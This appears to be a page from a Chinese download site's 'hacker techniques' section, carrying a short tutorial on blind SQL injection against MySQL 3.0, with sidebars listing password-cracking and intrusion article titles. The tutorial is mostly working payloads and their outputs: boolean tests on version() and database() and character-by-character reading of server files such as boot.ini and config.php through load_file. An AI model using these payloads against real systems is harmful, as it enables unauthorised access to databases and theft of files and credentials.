| VB 源码 | VC 源码 | ASP源码 | JSP源码 | PHP源码 | CGI源码 | FLASH源码 | 素材模板 | C 源程序 | 站长工具 | 站长教程 |

黑客技术

木马病毒
黑客技术
系统安全
防火墙
安全防范

本类阅读TOP10

·五种windows密码设置及破解
·穿过局域网的我的手 内网远程控制全攻略
·不用任何软件(木马程序)盗取账号密码
·EXE、DLL文件的脱壳
·黑客技术:SQL入侵教程
·美萍的破解方法
·Windows黑客编程基础
·硬盘还原卡的破解
·win2000密码破解不完全指南
·大话网络之经典入侵技术

站内搜索

mysql 3.0的注射
对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。

所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file
但是也不可以直接使用union替换出来。 下面就是我的一点思路:

得到版本:
mysql> select * from user where userid=1 and length(version())<10;
Empty set (0.00 sec)

mysql> select * from user where userid=1 and length(version())<1777;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

得到当前数据库:
mysql> select * from user where userid=1 and length(database())>0;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

暴取文件代码:
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;
Empty set (0.05 sec)

mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

因为工作量大,可以用程序来实现(不过也很麻烦)
另外思路: 可以先使用字符处理函数得到“特殊字符的位置”,如我们暴的是config.php文件我们就可以选取“localhost”(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。(未测试)




相关文章
  • SQL循序渐进
  • Oracle PL/SQL入门之案例实践
  • SQL Server存储图像数据的策略与方法
  • 如何避免asp的SQL的执行效率低
  • 导入大量MYSQL数据的方法
  • Mssql和Mysql的安全性分析
  • 选择MySQL还是SQL Server
  • MySQL入门学习(一)
  • SQL语句导入导出大全
  • 全面接触SQL语法(1)
  • 全面接触SQL语法(2)
  • 全面接触SQL语法(3)
  • 全面接触SQL语法(4)
  • 全面接触SQL语法(5)
  • 全面接触SQL语法(6)
  • 全面接触SQL语法(7)
  • 采用ODBC接口访问MySQL指南
  • ACCESS转化成SQL2000需要注意的几个问题
  • 黑客Web+Center SQL Injection代码
  • Pureftpd+MySQL+Pureftpd_php_manager架设FTP SERVER
  • 相关软件

  • 一个使用MFC和SQL的例子  
  • 微软SQL数据库支援控件  
  • 在direct SQL类中调用ODBC  
  • 酷蝶XP留言本(MySQL) 3.0
  • QSQL  
  • 连接到MySQL服务器时  
  • Perl的Mysql的DBD模块  
  • 本论坛系统使用大型数据库MYSQL  
  • 导入和导出sql数据phpMyAdmin  
  • MYSQL数据备分  

  • 下载首页关于我们广告服务联系方式常见问题隐私声明法律条款本站声明下载帮助发布软件站点地图谷歌卫星地图